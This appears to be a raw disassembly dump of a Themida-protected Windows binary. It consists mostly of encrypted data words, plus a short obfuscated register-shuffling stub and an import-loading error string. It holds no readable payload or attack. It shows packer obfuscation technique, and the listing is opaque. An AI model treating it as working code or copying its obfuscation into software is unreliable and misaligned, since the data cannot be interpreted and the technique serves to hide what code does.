9DADB93Bh, 75FD7A7Fh dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h dd 2FFD7A2Fh, 5CF39016h, 0CF707F3Ah, 700C5932h, 0CCF50F79h dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 562AE7A2h, 497D7F66h dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh dd 3217FB04h, 0F8F88B06h, 84DEAD25h, 7D80F1CEh, 75FD725Ch dd 145989F2h, 75F9B8B0h, 0A240F7DCh, 46F88B7Dh, 75F5C3EFh dd 0DF0E7A97h, 0F89DB9AAh, 84DEAD58h, 74C2FBF7h, 0FC7B78h dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 0A240F7ABh dd 0CDF88BC6h, 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh dd 9178F7EFh, 8AF88BB4h, 0E9CA8BD0h, 2Ah, 2404C7h, 0E8000000h dd 0 dd 0C7ED815Dh, 8B05F129h, 89042444h, 0EA0B5185h, 0B805h dd 8D8D0000h, 5EA4C21h, 54B8E1FFh, 8D000067h, 0F12A6B8Dh dd 61B58B05h, 8905EA08h, 0EA0ADD8Dh, 0F5BD3305h, 0C705EA09h dd 0EA0ACD85h, 6B4005h, 2BE6600h, 0F585C761h, 5EA25h, 51000000h dd 68D0Fh, 0B50B0000h, 5EA1D69h, 95B5FF5Fh, 6A05EA0Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 498C352h, 0BF0FBA9Dh, 71BB66D6h, 1995FFF5h dd 0BA05EA2Ah, 4DE8A15Dh, 6BC248BBh, 0FF006A19h, 0EA101595h dd 0EBC08B05h, 351CF62Bh, 11E8C4AAh, 0ED2268C8h, 253A3B77h dd 0C7553C42h, 0AB34E372h, 11A0B9Ch, 0CCAD510Ch, 8FB03FF6h dd 0F1A3AC0Dh, 7E5B7F58h, 5E8h, 97ACC100h, 0BD898F34h dd 5EA0259h, 0E9BD8B5Ah, 8105EA02h, 68D5C2h, 0B8F28B00h dd 78FB7236h, 6BCAF081h, 0BD8978FBh, 5EA2515h, 0BD8B0A8Bh dd 5EA251Dh, 7665F181h, 66605F8Ah, 8501F08Bh, 5EA0655h dd 0F7C18161h, 5759BCBFh, 5EF6B70Fh, 0AE10F181h, 0A896685h dd 28D19589h, 0EA8105EAh, 23F30B6Eh, 0BE9h, 0C163A300h dd 113154EDh, 43186637h, 0B6AC281h, 0CE923F3h, 82000000h dd 0AE520D2Dh, 0B4A38119h, 835736BAh, 850F01E8h, 27h, 0BE9h dd 73830900h, 0A2F699CBh, 436C7ECAh, 41E9h, 32C99D00h dd 0DAB2779Eh, 8E3B6BC8h, 942D3394h, 0E8D201E8h, 11h, 6157FEF9h dd 7460457Ch, 0C2147109h, 0D5C3C4E3h, 799589F5h, 5E05EA09h dd 0FFFF4FE9h, 0EA9825FFh, 817BCC00h, 0AEF9BCADh, 0A2E9A336h dd 0E3000000h, 649ECA6Dh, 0EC1642F3h, 609ACE6Fh, 0EE1440F1h dd 3D9BCF6Ch, 0E794C6BCh, 560549B3h, 0DB7CF802h, 5100758Fh dd 8F3DAF05h, 1D4791B5h, 6D2D8408h, 0BFE14DECh, 0F35FFE71h dd 14123C9Fh, 781D52E5h, 74EE4014h, 5666EEC6h, 7AD94117h dd 0A999F500h, 11D385E8h, 99E71714h, 0AD16D1DAh, 1693131Dh dd 0C4Ah, 52081300h, 8A0403BBh, 0CA69AF81h, 34EB6D6Fh dd 0BE5B9298h, 3BDC1812h, 0BA599D97h, 3DDE1C16h, 0A4579B91h dd 22CF0208h, 0A657848Eh, 2ECF000Ah, 8E68E982h, 0E905F12Bh dd 0FFF9524Ah, 2C25B85Dh, 0C50305F1h, 5E8h, 0AEC08200h dd 0BD03341Fh, 5EA0ED1h, 0FE8B6658h, 6A04C081h, 0F600000h dd 38Eh, 0DCC08000h, 15BD8B50h, 5A05EA29h, 1A4C6861h, 0CBBB0000h dd 592106F9h, 30FFDE8Ah, 0BE8h, 24F49C00h, 0B7E2348Ch dd 0C661414Eh, 3258531h, 5E5B05EAh, 22840Fh, 12E80000h dd 4E000000h, 577D4FAFh, 446FF16h, 900E1D33h, 2668DCE9h dd 5E99Ch, 58EA0000h, 5AA473CEh, 4F76EE81h, 9D891944h dd 5EA05ADh, 0DE05EE81h, 0DA8000E4h, 0BAC681A0h, 0F110592h dd 68Dh, 258D8900h, 5605EA00h, 8F83EF80h, 6880F00h, 31000000h dd 0EA061DBDh, 3CE88105h, 0BF137B8Eh, 54BDF666h, 8E38C081h dd 8166137Bh, 8124E3EAh, 1E9h, 63850F00h, 8BFFFFFFh, 0EA10A9BDh dd 0F704EB05h, 0E904CCF9h, 0CFAh, 0F12F3468h, 5150E905h dd 368FFF9h, 0E905F130h, 0FFF95146h, 0F130C568h, 513CE905h dd 7568FFF9h, 0E905F131h, 0FFF95132h, 0F134CA68h, 5128E905h dd 0CD68FFF9h, 0E905F137h, 0FFF9511Eh, 0F138AF68h, 5114E905h dd 0C808FFF9h, 36B94317h, 0AA29D387h, 34A55F0Bh, 0A72BD185h dd 8706A0F4h, 8CD87BFFh, 7530076h, 8CD87FFDh, 652FF76h dd 0B88C3EACh, 0B1D4793h, 0ED6D2E87h, 6CE8E24Eh, 13669FCBh dd 1DA6144Ah, 0D012BC7Dh, 4BF4C87Ah, 0DF47116Ch, 97691FB3h dd 97116C4Ch, 141EB265h, 62EC74E6h, 0F630045Dh, 0D866369Ah dd 0BBF589ACh, 654C3C49h, 3CB82E23h, 0E1000000h, 5AFD039h dd 0C7ED2F2Ah, 0C186164h, 0CC1652BBh, 8ED0BC29h, 0BC70173Ch dd 0E4D8312h, 2FB7CC6Fh, 5D03F583h, 337D116Ch, 2EC4B4C1h dd 0F53B2E24h, 177BD786h, 23EDB4h, 39B40000h, 3A459FD0h dd 506DC264h, 0EA577A72h, 62BF1CF3h, 8A3h, 276A25CCh, 0DAC216B1h dd 298AE693h, 49E86D8Ch, 775BBE5h, 7E12BF36h, 0E792DBDDh dd 663F4AB3h, 0ED6CA238h, 4A95EF4Ch, 3D12BC75h, 897F09A5h dd 0F7116C53h, 0D4CC40A9h, 0F458FD72h, 0ED23B598h, 0C776E5EFh dd 0E6A4076Bh, 0EB9C7576h, 8C66E661h, 0EB9DD576h, 102E2417h dd 0CFCC44F9h, 97348AA2h, 2DCEh, 1B6E9700h, 0B5AE1C42h dd 4812BC48h, 360A7CD0h, 82116C38h, 3FDC12DCh, 37D9D361h dd 0B42C116Ch, 0DE275517h, 2E240A2Ah, 0B85Ah, 0E86D0300h dd 6BEFE549h, 0F43A64C8h, 7573D081h, 0F7FD5100h, 2987D37Eh dd 672B01B3h, 479E1756h, 9D5648C7h, 0A2016DABh, 5744C8D8h dd 22CF0617h, 0A8498C76h, 0E6DE6CF6h, 59175743h, 9CC262C1h dd 92C32F75h, 17B420CCh, 603E0712h, 0BCA525D2h, 0B63FF112h dd 3458FF7Dh, 2C57F498h, 1019E0B4h, 0B2D96B35h, 450CD0E6h dd 0D4D83DDh, 92C03A6Eh, 465AD2E1h, 6AEE829h, 0A4BD7h dd 60175900h, 0D489CE34h, 44F97A80h, 0CA67EA10h, 45F6649Eh dd 4C36B711h, 0C3396D0Eh, 46BCE88Bh, 0CF356116h, 15BFEB86h dd 963F3587h, 3EB21D47h, 4EED6D97h, 0AA6DE01Ah, 4E1A7623h dd 421B6E17h, 0FE9BD21Ch, 0A6BD0F5Dh, 5912BC48h, 251B6DC1h dd 93116C38h, 678624CDh, 9C657A6Bh, 0C60F7D3Fh, 2E23EC32h dd 0B942h, 0A3391B00h, 6D2AF4Ah, 5127A357h, 1756FD5Bh dd 732450AEh, 7CDFB3DFh, 0EA46F37Ah, 6DC172E0h, 56F9051Bh dd 175F9117h, 7A4C864h, 792DCC01h, 3AF4A83h, 7826FF0Ah dd 0BCFD3DCAh, 3C68F012h, 0B7E9B4C5h, 0D1400F05h, 643AA20Ch dd 0D921F28Dh, 40E3AA27h, 0FD9EDC12h, 7C1F53A9h, 28D7014Fh dd 7CAD05E8h, 97Ch, 6135EA6Eh, 0F5A1549Bh, 7D29CC0Fh, 0F3A75287h dd 7E2AC909h, 0B52559D8h, 26A85206h, 99DB2175h, 548B2E6h dd 38AA0054h, 4796B28Ah, 2089051Dh, 1B11A339h, 47175667h dd 5666FFF5h, 9DEA7217h, 0CEB96344h, 0ABC76337h, 2FCC0E08h dd 0AD4C817Bh, 0E86DA0F9h, 66F3C97Bh, 0DE461756h, 0E1141EB2h dd 50CA6430h, 56670AE2h, 46E57D17h, 0BB759909h, 26238033h dd 0E6540AD3h, 12BC7D4Dh, 0D862B820h, 0B8A93C8Dh, 702EF702h dd 0CFA61C2h, 0E04CD463h, 9BC5A0E9h, 0DA8BCF01h, 0BCF89468h dd 137FE761h, 5A96CAB0h, 31A95D22h, 8D2CA16Fh, 69AA23D9h dd 114349E8h, 0D531026Eh, 6197D9B2h, 8BA18C9h, 28A80000h dd 96D92377h, 0A49B3E7h, 94C53F6Bh, 74BB1E5h, 27A60054h dd 2C781B5Fh, 0A7F3A0D6h, 2C781F5Dh, 0A6F29FD6h, 582C9E0Ch dd 0AB1D4797h, 0E86D8E27h, 75BBE549h, 96FA5605h, 1CE93035h dd 5467F042h, 70DA12BCh, 6C33EAC2h, 0A9C55D11h, 4BB39F7h dd 132AAA50h, 6DDA7EDAh, 99BFF1B3h, 1F5359F5h, 0D07C107Ch dd 6C44CEA6h, 8FC60811h, 81224EE2h, 6C5505FBh, 2AF30611h dd 0AE20EE74h, 7BD4AE0Dh, 8E0CD224h, 7EE4BA16h, 45E56E4h dd 49D10B82h, 8204453Fh, 8320B80Bh, 0B3E05085h, 0A5721E40h dd 345761Ah, 1BE826E0h, 80A62B3h, 0D8180000h, 46897327h dd 0BA39C397h, 44B54F1Bh, 0B73BC195h, 77F65004h, 7C28CB0Fh dd 0F7A35086h, 7C28CF0Dh, 0F6A24F86h, 887CCE5Ch, 0FB1D4798h dd 1B6EDE77h, 9DD21C42h, 9B3854F8h, 571C7BC9h, 0C80612BCh dd 2B47EB8Ch, 0CC0DF388h, 0D37A7E6Ch, 660A4C00h dd 2BACA60Ah, 0B324DE8Ah, 6AF0AE02h, 6C0AE4D8h, 6CCF5711h dd 1D432669h, 6C0ADDAFh, 7FF73911h, 0BF1C70DCh, 0CC025CC4h dd 0EE4EED8Eh, 0AEF910BEh, 0FF9D2599h, 0A0CC8E2Dh, 7521D41Bh dd 6C40FDF3h, 63975911h, 413C3082h, 178F116Ch, 0D2DDD87Bh dd 0D7BB5A99h, 60134789h, 3C3CE1CCh, 4C1EBA87h, 63D18320h dd 116BB6A5h, 0EE1440D8h, 24EAB469h, 0C2AE02B3h, 89B7C161h dd 1B116BB5h, 0FA3437A5h, 1B77DB78h, 8439BEB8h, 0F0A52AD0h dd 0B5862A5Ch, 0E05E116Bh, 0DB02774h, 0FF5D9D53h, 0B68B1200h dd 973458CFh, 49FB61CFh, 116C6173h, 5B638C6h, 0C0CFCA69h dd 3205B7E9h, 0AC116C61h, 0C0DA7945h, 11A31649h, 116BA81Bh dd 399AF66Eh, 2876DA42h, 6AC673E6h, 40DFA506h, 0F85D4C44h dd 0CC2546B6h, 0D71BFF9Dh, 0C9E48824h, 0A201E7E9h, 0C1731EEAh dd 4DFF65B9h, 9D099577h, 0A8F152CAh, 185h, 421B6EF1h, 6125AE1Ch dd 40D812BCh, 0FC9DD01Eh, 7E1B52A8h, 0C736A4D2h, 0B7BD8A26h dd 52FF7645h, 0D879FC06h, 5F327D74h, 0D180F10Bh, 53FE777Dh dd 0BF78FD07h, 45E98538h, 0B33FF21Bh, 0D6D47F5h, 58C08A26h dd 7BA55775h, 0FF530271h, 284A3093h, 6AD8ACAFh, 0B59834E9h dd 0CCFD130Eh, 0D7040ED8h, 6C228A26h, 0D8D2DD00h, 0CB66EFACh dd 7CFF319Fh, 0BA1975D9h, 349839BCh, 411FF23Dh, 9B75F9F3h dd 80D44C17h, 0F75BF87Ah, 86D8B1FEh, 9B763C34h, 43178F17h dd 6FE334B9h, 600C60CCh, 195C92CCh, 923EDB1Eh, 373192FEh dd 0F0D51C3h, 0F3AE4FB4h, 0DD63339Fh, 0B465E8AFh, 40D31AE0h dd 0A00C6011h, 6FC266A9h, 0ECC536C0h, 0A3992B75h, 16179BE3h dd 0EBCE28Eh, 179BE42Eh, 0B74D1981h, 0D281F53Eh, 0DC1812BEh dd 3AA8A7Ah, 167A2E90h, 225210BAh, 0E5B16095h, 6D6FA24Bh dd 5434A4B6h, 6DD3E679h, 8E2D218Dh, 38944588h, 451BEE31h dd 9B7EF1F7h, 82DC4417h, 7ED2AA18h, 0BD25179Bh, 1E8461Eh dd 0C7C1DCFAh, 3336205h, 40D7489Ah, 0ECC0722Ch, 5F179B71h dd 0F26264C7h, 71BFE14Dh, 9EF25EFDh, 12F7383Dh, 0E34F824Ch dd 769C9E35h, 0DA761AA8h, 0DD4715B6h, 0A3785E34h, 6DF0B029h dd 8CB8958Eh, 91905E8h, 363BAAA0h, 9983F95Ah, 0EC179B98h dd 9800F446h, 8D73179Bh, 6905A948h, 933D6905h, 0DC7F1E5Dh dd 49E86D79h, 0C895E41Dh, 3165896h, 48422ED1h, 0A7F55607h dd 0BC6DBA15h, 0CC7EE412h, 116C5AF8h, 0B70D34Bh, 5B1913A1h dd 0F46C116Ch, 0CC08C698h, 32BB752Bh, 0D27C2487h, 165FDA1Ch dd 0D7BBD77Bh, 0B2B4177Bh, 0DC39D42h, 2D8D2ECDh, 5608D524h dd 0D2487BE4h, 0FA56CE0Ch, 8237BC8Ch, 65E8260Bh, 0D77418B4h dd 0A0FEC7D2h, 0E807B512h, 0FC50C806h, 0E1D27FF6h, 0EE1113B1h dd 0B5BC6DC5h, 0A7000004h, 20DA8E31h, 0A05A0EAFh, 2CD68233h dd 0A2580CADh, 71D78330h, 9340B2F0h, 1AB93DC7h, 9748B44Eh dd 5B439C3h, 0DB69FB51h, 1D479AE1h, 6E71D854h, 861C421Bh dd 56674034h, 882BB317h, 654768DAh, 903A12BCh, 6C654A22h dd 0EE8FC011h, 0ED5F0199h, 116C6517h, 329EF26Ah, 6C657344h dd 9B36BB11h, 0B9231A37h, 34219CAAh, 0B418BD3Eh, 0B222521Ch dd 480207BBh, 7C10C8h, 21D71E4Eh, 6D2E234Ch, 9Dh, 672F1134h dd 0F7591756h, 91C574F9h, 1D17A53Fh, 90175667h, 66B4883Ah dd 9F071756h, 505550F3h, 3BA13B65h, 5666B389h, 949E0617h dd 6913B061h, 1756678Bh, 27D619D7h, 0CB67FF84h, 468B8CC1h dd 3D93C7ABh, 0F5D87BF3h, 22CFBF7Ch, 1217B4DEh, 0D6643A13h dd 1756F3D6h, 171DB129h, 9E6733DEh, 7AE0BE97h, 3B9748B4h dd 0DA8EF457h, 0C41756F3h, 892AC70Ah, 0B0C66AF2h, 1756B2C0h dd 7E3AAA14h, 9A005E37h, 0DD712254h, 0B86812B1h, 0CB1756B3h dd 91C30D53h, 34154DEEh, 0DFh, 421B6E6Dh, 5885F51Ch, 67FBB74h dd 517C10ECh, 0A3D1F04Bh, 503C50FCh, 0B413A1F3h, 0EE12BD3Eh dd 0A20EAF20h, 8E166DCEh, 0F5A62822h, 715858A1h, 1DA39D2Fh dd 8E16116Dh, 51295422h, 9DD3E2C0h, 54E67C6Fh, 116D1E60h dd 0A1664BD3h, 0C39908F3h, 0EE9AD271h, 1E2E24B6h, 83h dd 4F226E47h, 0FB96DF11h, 79900A58h, 0B7789791h, 8AF0531Eh dd 1756A3B2h, 3B319D05h, 0C45E00B3h, 56A47E76h, 8528F117h dd 852B6CBAh, 5008ABC7h, 73E467A9h, 3EF0AEC2h, 0DEB21EBBh dd 0DB9D2F7Dh, 0AE175721h, 35A66836h, 0F5832380h, 1756E103h dd 0BD11C40Bh, 3B9742B7h, 7CA1D391h, 5662922Ch, 0A339674Ah dd 56E11B11h, 55F66E17h, 0E0F3B507h, 38C61756h, 0A2A804B5h dd 88E4882Dh, 24D518D6h, 6D86DF87h, 0F3C97BE8h, 46175666h dd 67665EECh, 41D91756h, 0E7ED412Dh, 8037A56Eh, 3841B8ECh dd 79FD336Dh, 0B12B79DAh, 0E645F87Fh, 0BC75539Ch, 12BE2612h dd 6C539464h, 0E6549A11h, 5C5B78F2h, 76DAB684h, 0D006795Bh dd 0D7DD9B35h, 7A72C0A5h, 0CD116C35h, 9F953955h, 0C39DB95Ch dd 4E106C91h, 2A15280h, 3FC91440h, 4F2E240Bh, 29h, 421B6E16h dd 48B5AE1Ch, 0D04812BCh, 38360A7Ch, 0DC82116Ch, 0EDB8335h dd 45E63B16h, 88D507h, 0C2E23AAh, 0A7h, 49E86D55h, 0E796D917h dd 2484274Bh, 564EAC2Eh, 0C197E744h, 0EDE74B27h, 7E97C968h dd 0B0858E34h, 59F95A02h, 2B7F1A53h, 56B7BBADh, 1FBA3317h dd 9D3CB14Bh, 14F13831h, 0B25FF84Ah, 8A1212BCh, 0BD227DEh dd 235E755h, 90080CD1h, 60D200CEh, 0F3F6F62Bh, 0FA361B76h dd 4737C3C2h, 1DE7B3DFh, 0E70D3EDDh, 3FE828F5h, 1B24697h dd 30A00000h, 0AE21DB8Fh, 32A15B0Fh, 0AC2DD783h, 2FA3590Dh dd 0FF7ED88Ch, 0F4A05387h, 7F2BC80Eh, 0F4A05785h, 7E2AC70Eh dd 0F446D4h, 731D479Eh, 0ED6D56FFh, 6DE01A4Eh, 6EC198CCh dd 0D21C421Bh, 7BF2F89Dh, 9D2F7DDEh, 12BC4886h, 530DA139h dd 38817BC9h, 6CF4116Ch, 37C3B5CFh, 733D116Ch, 0A04F401h dd 0B7702E24h, 29000000h, 0AA2FE86Dh, 22220Fh, 722C988Bh dd 22ECB21Eh, 0C8A408ADh, 4EED6D6Bh, 4983F910h, 0A70BAA29h dd 0AD5BE6CBh, 1660C063h, 17570F02h, 80D485C8h, 0B320F37Ah dd 38A4AE02h, 2B87EB87h, 500ED722h, 0BD0965E2h, 0D4801812h dd 5F01DC2Dh, 17ED5FC5h, 6A116D07h, 0A8E3DFF2h, 13BE96Ah dd 0EEABD8A2h, 0C65E0CD0h, 77245698h, 0FA99D923h, 293CB5C9h dd 8859F1E8h, 0D0h, 0BDE98EC2h, 396D1047h, 0B9ED90C3h dd 37630E43h, 0BAEE8DCDh, 71E19D1Ch, 0EA6C96C2h, 75E71D49h dd 0E96C96C2h, 24B61C48h, 479E9E96h, 349D111Dh, 1A4EED6Dh dd 92CC6DE0h, 0DB78195Ch, 0F739DA83h, 1C70DC7Fh, 8534B9BFh dd 0FAA2329h, 0DD6FF55Bh, 175666E7h, 0C1EFC25Ah, 354A84Eh dd 4F5A5FFCh, 0A5A55237h, 0A66B3D4h, 3600E654h, 0D74F12A8h dd 5DFC717Bh, 0DF7AF309h, 62BE0573h, 8389107Bh, 9DD01E51h dd 9F3C50FCh, 8AC35499h, 432F43EFh, 0FF77B917h, 3F9CF05Ch dd 5B05B439h, 9ED06595h, 513D51FDh, 923291FDh, 14B85998h dd 0D8AFA44h, 0F8F268C8h, 7710875Fh, 40B54F1Bh, 0AD633D91h dd 0CF6CEE2Fh, 0C0630F63h, 31Dh, 0A5084400h, 9834EB6Dh dd 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch, 8A4579Bh dd 8E22CF02h, 0AA65784h, 822ECF00h, 494F68E9h, 1C890000h dd 73806824h, 2C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push edi mov edi, 10EC5DCBh push ecx mov ecx, 151D70AEh mov ebp, ecx pop ecx xor ebp, edi pop edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push ecx mov ecx, 8 add ecx, ebx mov [ecx], ebp mov ecx, [esp] add esp, 4 push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_5488E2 ; --------------------------------------------------------------------------- dw 3544h dd 600CFAC2h, 750940F5h, 0A4B84FDEh, 305F139h, 1FE0FFC5h dd 974D8731h, 310939A1h, 0F2724FAFh, 0EC6D17DEh, 81575523h dd 386B66FCh, 0A0768924h, 0E95B6241h, 127h, 73765B50h dd 154EEFACh, 0 aAnErrorHasOcur db 'An Error has ocurred while loading imports',0 db 37h dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h dd 777E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 0FB8F96A6h dd 1137FF75h, 35B11C13h, 41D83B83h, 722B6166h, 0A9F29E35h dd 88321177h, 494B90EFh, 0BFBF108Ch, 14DEC893h, 0D069C699h dd 6AD7A8E5h, 5632108Ch, 0A9614571h, 88321177h, 494B90EFh dd 0BFBF108Ch, 14DECF82h, 0D069C699h, 0F9B1D5EDh, 27C32FF0h dd 1B61A66h, 5321566h, 0B51B76E3h, 0AFE2EA63h, 0E01B86E3h dd 4EE2EA63h, 0AE2850E3h, 705A4363h, 0EEAEBDDEh, 621198D3h dd 0E4B79863h, 0DD37F8C9h, 0CB79CB6h, 537FF64h, 0B50973E3h dd 0A7BF4563h, 14C32F21h, 55A7EA36h, 8337FF6Ah, 0C82FA8E3h dd 11321563h, 0CDB7D366h, 137FF7Ch, 505B7C0Eh, 5487EAE8h dd 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0FB1E50E3h, 0CDB7D363h dd 737FF7Ch, 45594B0Eh, 5487EAFAh, 537FF7Bh, 0AE0B7CE3h dd 0ABE2EA63h, 0E0086BE3h, 0CDB7D363h, 1037FF7Ch, 405A3C0Eh dd 5487EA88h, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E00897E3h dd 0CDB7D363h, 137FF7Ch db 0Eh byte_5B46E9 db 0D7h, 0Ah, 42h ; DATA XREF: Themida_:0054D2E0o dd 5487EABCh, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E00893E3h dd 598F9663h, 4437FF64h, 22779069h, 94F41566h, 8DD80F23h dd 3AB47D23h, 97CDEF46h, 14D80823h, 0B15B90EBh, 94CD108Ch dd 18B890EFh, 94F41097h, 8DD80F23h, 94F17D2Ah, 97CDF540h dd 14D80823h, 0B15B90EBh, 94CD108Ch, 18BC90EFh, 51DB1097h dd 4E321566h, 0AE2850E3h, 2F5A4763h, 0EE8E5F82h, 6221F4D3h dd 2DB79863h, 0DD37FF5Fh, 9BB79CB6h, 4E37E45Ch, 0AE2850E3h dd 6A5A4763h, 0EE94592Ch, 6221F4D3h, 2DB79863h, 0DD37FF5Fh dd 9FB79CB6h, 4E37E45Ch, 0AE2850E3h, 0C85A4763h, 0EECF57D2h dd 622F50D3h, 2DB79863h, 0DD37FF5Fh, 4CB79CB6h, 4E37FF6Ch dd 0AE2850E3h, 815A6263h, 0EEC182CEh, 622E98D3h, 2DB79863h dd 0DD37FF5Fh, 74B79CB6h, 4E37FF70h, 0AE2850E3h, 355A4763h dd 0EEB8C857h, 622F50D3h, 2DB79863h, 0DD37FF5Fh, 58B79CB6h dd 4E37FF61h, 0AE2850E3h, 1B5A4363h, 0EEE60A0Bh, 621198D3h dd 0E4B79863h, 0DD37F8C9h, 0A0B79CB6h, 4E37FF6Fh, 0AE2850E3h dd 585A5263h, 0EEB3C976h, 622F50D3h, 2DB79863h, 0DD37FF5Fh dd 0CCB79CB6h, 4E37FF64h, 0AE2850E3h, 0C05A5263h, 0EEB81AD3h dd 622F50D3h, 2DB79863h, 0DD37FF5Fh, 0BFB79CB6h, 0B37E45Ch dd 0AE30A0DBh, 0A63D1563h, 11321337h, 927790A0h, 2C7E108Ch dd 0FBE8098Fh, 0C77A099h, 0DBF108Ch, 41D82C0Fh, 0A7BBC599h dd 14C32FFCh, 927790A0h, 2C7E108Ch, 0FF46CBA8h, 0C77A099h dd 0DBF108Ch, 41D82C0Fh, 0A7BBC599h, 14C32FF8h, 927790A0h dd 2C7E108Ch, 95B39759h, 0C77A099h, 0DBF108Ch, 41D82C0Fh dd 0A7BBC599h, 14C32FC4h, 927790A0h, 2C7E108Ch, 911D557Eh dd 0C77A099h, 0DBF108Ch, 41D82C0Fh, 0A7BBC599h, 14C32FC4h dd 927790A0h, 2C74108Ch, 98EC1372h, 0C77A099h, 0DBF108Ch dd 41D82C0Fh, 0A7BBC599h, 14C32FCCh, 927790A0h, 2C75108Ch dd 0A3EE051Ch, 0C77A099h, 0DBF108Ch, 41D82C0Fh, 0A7BBC599h dd 14C32FD4h, 927790A0h, 2C75108Ch, 0CDB59BCAh, 0C77A099h dd 0DBF108Ch, 41D82C0Fh, 0A7BBC599h, 14C32FD0h, 927790A0h dd 2C75108Ch, 0F6A8B2B4h, 0C77A099h, 0DBF108Ch, 41D82C0Fh dd 0A7BBC599h, 14C32FDCh, 927790A0h, 2C75108Ch, 98F32C62h dd 0C77A099h, 0DBF108Ch, 41D82C0Fh, 0A7BBC599h, 14C32FD8h dd 0A87BA8E5h, 3132108Ch, 67B7D346h, 5637FF7Ch, 0FA1F720Eh dd 187EA86h, 0AF37FF7Bh, 0FB0B7CE3h, 1E2EA63h, 0B508D7E3h dd 67B7D363h, 5637FF7Ch, 0A181A40Eh, 187EAE8h, 0AF37FF7Bh dd 0FB0B7CE3h, 1E2EA63h, 0B508D3E3h, 67B7D363h, 5237FF7Ch dd 0FE78B20Eh, 187EAA6h, 0AF37FF7Bh, 0FB0B7CE3h, 1E2EA63h dd 0B508DFE3h, 67B7D363h, 5D37FF7Ch, 0EE5EFE0Eh, 0C987EA9Dh dd 0AF37FF7Ah, 0FB0B7CE3h, 1E2EA63h, 0B5094BE3h, 67B7D363h dd 5537FF7Ch, 0FBBC400Eh, 187EADDh, 0AF37FF7Bh, 0FB0B7CE3h dd 1E2EA63h, 0B508DBE3h, 67B7D363h, 5237FF7Ch, 65CE90Eh dd 187EADAh, 0AF37FF7Bh, 0FB0B7CE3h, 1E2EA63h, 0B508C7E3h dd 67B7D363h, 4237FF7Ch, 980CBF0Eh, 187EAA0h, 0AF37FF7Bh dd 0FB0B7CE3h, 1E2EA63h, 0B508C3E3h, 178F9663h, 1137FF46h dd 88D29169h, 0C1F41566h, 27D80F23h, 0DF037D20h, 3DCDEFF0h dd 41D80823h, 1B5B90EBh, 0C1CD108Ch, 0B30090EFh, 0C1F41097h dd 27D80F23h, 2BE47D20h, 3DCDE9C1h, 41D80823h, 1B5B90EBh dd 0C1CD108Ch, 0B37090EFh, 0C1F41097h, 27D80F23h, 0B5327D20h dd 3DCD879Ah, 41D80823h, 1B5B90EBh, 0C1CD108Ch, 0B37490EFh dd 0C1F41097h, 27D80F23h, 5E587D20h, 3DCDE3B2h, 41D80823h dd 1B5B90EBh, 0C1CD108Ch, 0B37890EFh, 0C1F41097h, 27D80F23h dd 41D57D20h, 3DCD81ABh, 41D80823h, 1B5B90EBh, 0C1CD108Ch dd 0B30490EFh, 0C1F41097h, 27D80F23h, 65097D20h, 3DCDA444h dd 41D80823h, 1B5B90EBh, 0C1CD108Ch, 0B30890EFh, 0C1F41097h dd 27D80F23h, 0FBDF7D20h, 3DCDCA1Fh, 41D80823h, 1B5B90EBh dd 0C1CD108Ch, 0B30C90EFh, 0F9B11097h, 27D8352Fh, 0D7126066h dd 622850E3h, 1A5A4663h, 0DDFCAB86h, 0FB2F50D3h, 0E1B79863h dd 0BB37FF5Fh, 0F8B79CB6h, 0D737E45Ch, 622850E3h, 0C35A5263h dd 0DDF5A438h, 0FB2F50D3h, 0E1B79863h, 0BB37FF5Fh, 0FCB79CB6h dd 9237E45Ch, 62125CDBh, 64471563h, 387790A0h, 7975108Ch dd 6E506B63h, 5977A099h, 0A7BF108Ch, 14D82C0Fh, 0DBBC599h dd 41C32F84h, 387790A0h, 7971108Ch, 1A481C90h, 5977A099h dd 0A7BF108Ch, 14D82C0Fh, 0DBBC599h, 41C32F80h, 387790A0h dd 7971108Ch, 74138246h, 5977A099h, 0A7BF108Ch, 14D82C0Fh dd 0DBBC599h, 41C32F8Ch, 27BA8E5h, 6432108Ch, 0CDB7D326h dd 737FF7Ch, 229A160Eh, 5487EAEDh, 537FF7Bh, 0AE0B7CE3h dd 0ABE2EA63h, 0E008E7E3h, 0CDB7D363h, 737FF7Ch, 7904C00Eh dd 5487EA83h, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E008FBE3h dd 0CDB7D363h, 737FF7Ch, 8800F40Eh, 5487EA8Ch, 537FF7Bh dd 0AE0B7CE3h, 0ABE2EA63h, 0E008E3E3h, 0CDB7D363h, 737FF7Ch dd 0D39E220Eh, 5487EAE2h, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h dd 0E008EFE3h, 0CDB7D363h, 0B37FF7Ch, 17A2C10Eh, 5487EAF1h dd 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E008EBE3h, 0CDB7D363h dd 0B37FF7Ch, 4C3C170Eh, 5487EA9Fh, 537FF7Bh, 0AE0B7CE3h dd 0ABE2EA63h, 0E00917E3h, 0CDB7D363h, 937FF7Ch, 154B5C0Eh dd 5487EAAEh, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E0091FE3h dd 0CDB7D363h, 937FF7Ch, 0D57F9C0Eh, 5487EABAh, 537FF7Bh dd 0AE0B7CE3h, 0ABE2EA63h, 0E00913E3h, 0CDB7D363h, 1137FF7Ch 